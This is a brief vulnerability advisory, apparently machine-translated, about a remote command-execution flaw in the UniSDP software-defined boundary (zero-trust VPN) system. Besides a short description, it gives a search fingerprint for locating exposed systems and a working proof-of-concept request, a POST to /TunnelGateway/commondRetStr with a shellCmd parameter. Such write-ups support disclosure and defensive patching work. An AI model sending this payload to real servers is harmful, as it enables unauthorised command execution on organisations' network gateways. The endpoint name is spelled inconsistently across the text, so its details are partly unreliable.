Unisdp Software Defined Boundary System Commonretst Command Execution Vulnerability

UniSDP software-defined boundary system commonRetSt command execution vulnerability

Vulnerability Description

Liansoft Security UniSDP software-defined boundary system is a next-generation VPN based on zero trust. In the 2021.04.28 version of this system, there is a security vulnerability in a TunnelGateway interface. The vulnerability allows an attacker to send a specially crafted request to the server and execute remote commands.

Vulnerability Impact

UniSDP Software-defined Boundary System

Network surveying and mapping

title=”UniSSOView”

Vulnerability reappears

Login page

Verify POC

POST /TunnelGateway/commondRetStr
  
shellCmd=id